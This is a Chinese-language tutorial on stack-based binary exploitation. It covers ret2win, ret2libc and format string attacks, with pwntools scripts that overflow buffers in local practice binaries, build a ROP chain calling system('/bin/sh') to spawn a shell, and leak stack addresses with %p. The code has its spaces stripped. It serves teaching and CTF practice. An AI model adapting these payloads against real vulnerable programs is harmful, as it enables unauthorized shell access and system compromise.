標題：淺析最流行的二進制代碼利用技術

二進制代碼利用是發現和利用計算機程序中的漏洞以修改或乾擾其預期行為的一種方法。這些漏洞可能導致身份驗證繞過和信息洩漏，或者還可能導致遠程代碼執行情形。很大一部分二進制代碼利用發生在堆棧（stack）上，有時候發生在堆（heap）上，甚至發生在內核空間上。堆棧是存儲由函數創建的臨時變量的內存區域。相比之下，堆則是可以動態分配的內存區域。

下面介紹的所有技術都依賴用戶輸入和程序的潛在崩潰或分段錯誤——緩衝區溢出。當進程試圖用超出預期的過多數據填充一塊內存區域時，就會出現這種損壞。有鑑於此，就有可能覆蓋內存，並控制下一個指令點/函數。

接下來，我們將描述堆棧利用過程中一些最常用的技術。

ret2win我們可以將ret2win技術理解為對二進制代碼中存在的特定調用«win() function»的簡單重定向。實現這一目標的主要步驟如下：

• 找到目標函數/調用，以重定向執行流«win() function»。

• 通過覆蓋堆棧上的返回地址（比如EIP）來調用它。

下一段代碼介紹如何找到這類漏洞。在添加填充和對齊載荷之後，必須添加目標調用«win() function -0x080491c3»的偏移量，最後執行它。本文使用了用於二進制利用的CTF框架Pwntools（https://github.com/Gallopsled/pwntools），為學習過程提供便利。

frompwnimport*

p=process('./vuln_program')

payload=b'A'*52

payload+=p32(0x080491c3)#targetcall«win()function»

log.info(p.clean())

p.sendline(payload)

log.info(p.clean())有了這種技術，就可以在程序執行期間跳轉到所需的函數，從而繞過應用程序控制措施。

關於這個主題的更多細節可以在這裡找到：https://corruptedprotocol.medium.com/rop-emporium-ret2win-x86-64-44a1cacb546。

ret2libcret2libc是一種技術，其中重定向流基於到libc調用的面向返回的編程（ROP）鏈。這種方法對於繞過一些二進制代碼保護（比如NX即無執行）很重要，在Windows操作系統中又稱為數據執行預防（DEP）。

在二進制代碼被利用的操作系統上找到libc的內存區域之後，必須基於libc的基址計算一些函數（包括系統調用）的實際地址。系統調用執行作為參數傳遞的任何字符串。傳遞給系統調用的最佳字符串是“/bin/sh”，這顯然會彈出新的系統shell。

下面是表示這種探索的代碼片段。正如我們所見，libc基址高亮顯示為0x7ffff7de5000，並用於計算二進制內存區域內的system和/bin/sh字符串。

之後執行ROP鏈，它因二進制漏洞、目標操作系統、架構及其他外部變量而異。

frompwnimport*

p=process('./vuln-64')

libc_base=0x7ffff7de5000#libcbaseaddressneeded

system=libc_base+0x48e20#addressofsystemcall

binsh=libc_base+0x18a143#binshstringtopopashell

POP_RDI=0x4011cb

payload=b'A'*72#Thepadding

payload+=p64(POP_RDI)#gadget-poprdi;ret

payload+=p64(binsh)#pointertocommand:/bin/sh

payload+=p64(system)#Locationofsystem

payload+=p64(0x0)#returnpointer-notimportantoncewegettheshell

p.clean()

p.sendline(payload)

p.interactive()關於該技術的更多細節以及如何探索它，可以在這裡找到：https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/ret2libc。

格式字符串格式字符串技術在每當將用戶輸入字符串作為命令來評估時都會發生。這種技術可用於執行代碼、洩漏堆棧，甚至導致分段錯誤情形。

比如說，格式字符串參數%x和%s定義了格式函數的轉換類型。針對諸如此類的輸入，可能會洩露內存部分信息，這種方法還可以與上述的ret2lic一起使用。

下表給出了經常用於這種攻擊中的一些格式函數。

看看下一段C代碼，print函數易受攻擊，因為默認情況下參數函數（%p和%s等）並未指定。因此，用戶可以在輸入中指定它，從而充分利用這個二進制利用場景。

#include

voidmain(intargc,char**argv)

{

//Thislineisvulnerable,noparameterspecified(%p,%s,etc)

printf(argv[1]);

}在使用一堆%p執行程序後，堆棧地址將被洩漏，並且可以輕鬆找到執行ret2lic方法的lib基址。

./example'HelloWorld%p%p%p%p%p%p'

=output:HelloWorld000E133E000E133E0057F000CCCCCCCCCCCCCCCCCCCCCCCC關於該技術的更多細節可以在這裡找到：https://owasp.org/www-community/attacks/Format_string_attack。

流行的二進制代碼利用技術二進制代碼利用是滲透測試界利用內存不安全程序的最先進的攻擊之一。由於二進制代碼本身、保護機制以及它如何與不同的操作系統和多種架構進行交互具有復雜性，學習起來可能令人望而生畏。